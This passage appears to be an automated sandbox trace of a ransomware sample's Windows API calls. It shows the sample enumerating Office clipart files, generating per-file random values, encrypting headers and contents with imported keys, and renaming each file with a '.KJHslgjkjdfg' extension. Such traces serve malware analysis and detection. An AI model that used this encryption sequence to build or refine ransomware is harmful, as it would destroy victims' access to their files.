lpNewFilePointer=0x0) returned 1 [0206.198] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.200] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.200] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.200] GetProcessHeap () returned 0x2ef0000 [0206.200] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.200] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.200] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.201] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.201] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.201] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.201] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.201] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3c9c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3c9c, lpOverlapped=0x0) returned 1 [0206.202] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ca0, dwBufLen=0x3ca0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ca0) returned 1 [0206.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.202] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ca0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ca0, lpOverlapped=0x0) returned 1 [0206.202] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.202] SetEndOfFile (hFile=0x130) returned 1 [0206.205] GetProcessHeap () returned 0x2ef0000 [0206.205] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.205] GetProcessHeap () returned 0x2ef0000 [0206.205] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf.kjhslgjkjdfg")) returned 1 [0206.206] CloseHandle (hObject=0x130) returned 1 [0206.206] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x493e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297757.WMF", cAlternateFileName="")) returned 1 [0206.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.208] GetProcessHeap () returned 0x2ef0000 [0206.208] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.208] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.208] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0206.210] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.211] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.211] GetProcessHeap () returned 0x2ef0000 [0206.211] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.211] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.211] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.211] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.211] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.211] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.211] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.211] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.211] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.211] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.212] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x493e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x493e, lpOverlapped=0x0) returned 1 [0206.213] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4940, dwBufLen=0x4940 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4940) returned 1 [0206.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.213] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4940, lpOverlapped=0x0) returned 1 [0206.213] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.213] SetEndOfFile (hFile=0x130) returned 1 [0206.216] GetProcessHeap () returned 0x2ef0000 [0206.216] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.216] GetProcessHeap () returned 0x2ef0000 [0206.216] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf.kjhslgjkjdfg")) returned 1 [0206.218] CloseHandle (hObject=0x130) returned 1 [0206.218] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4960, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297759.WMF", cAlternateFileName="")) returned 1 [0206.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.219] GetProcessHeap () returned 0x2ef0000 [0206.219] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.219] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.219] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.219] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.219] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.219] GetProcessHeap () returned 0x2ef0000 [0206.219] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.219] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.219] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.219] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.221] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.221] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.222] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.222] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.222] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.222] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.222] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4960, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4960, lpOverlapped=0x0) returned 1 [0206.223] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4960, dwBufLen=0x4960 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4960) returned 1 [0206.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.223] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4960, lpOverlapped=0x0) returned 1 [0206.224] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.224] SetEndOfFile (hFile=0x130) returned 1 [0206.226] GetProcessHeap () returned 0x2ef0000 [0206.226] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.226] GetProcessHeap () returned 0x2ef0000 [0206.226] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf.kjhslgjkjdfg")) returned 1 [0206.228] CloseHandle (hObject=0x130) returned 1 [0206.228] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0300862.WMF", cAlternateFileName="")) returned 1 [0206.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.229] GetProcessHeap () returned 0x2ef0000 [0206.229] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.229] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.230] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0206.232] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.232] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.232] GetProcessHeap () returned 0x2ef0000 [0206.232] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.232] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.232] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.232] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.232] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.232] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.232] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.232] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.232] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.232] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.233] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4584, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4584, lpOverlapped=0x0) returned 1 [0206.234] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4590, dwBufLen=0x4590 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4590) returned 1 [0206.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.234] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4590, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4590, lpOverlapped=0x0) returned 1 [0206.234] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.234] SetEndOfFile (hFile=0x130) returned 1 [0206.236] GetProcessHeap () returned 0x2ef0000 [0206.236] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.236] GetProcessHeap () returned 0x2ef0000 [0206.237] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf.kjhslgjkjdfg")) returned 1 [0206.238] CloseHandle (hObject=0x130) returned 1 [0206.238] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66f5700, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf66f5700, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2b0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0301044.WMF", cAlternateFileName="")) returned 1 [0206.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.239] GetProcessHeap () returned 0x2ef0000 [0206.239] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.239] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.239] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0206.240] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.240] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.240] GetProcessHeap () returned 0x2ef0000 [0206.240] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.240] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.241] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.241] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 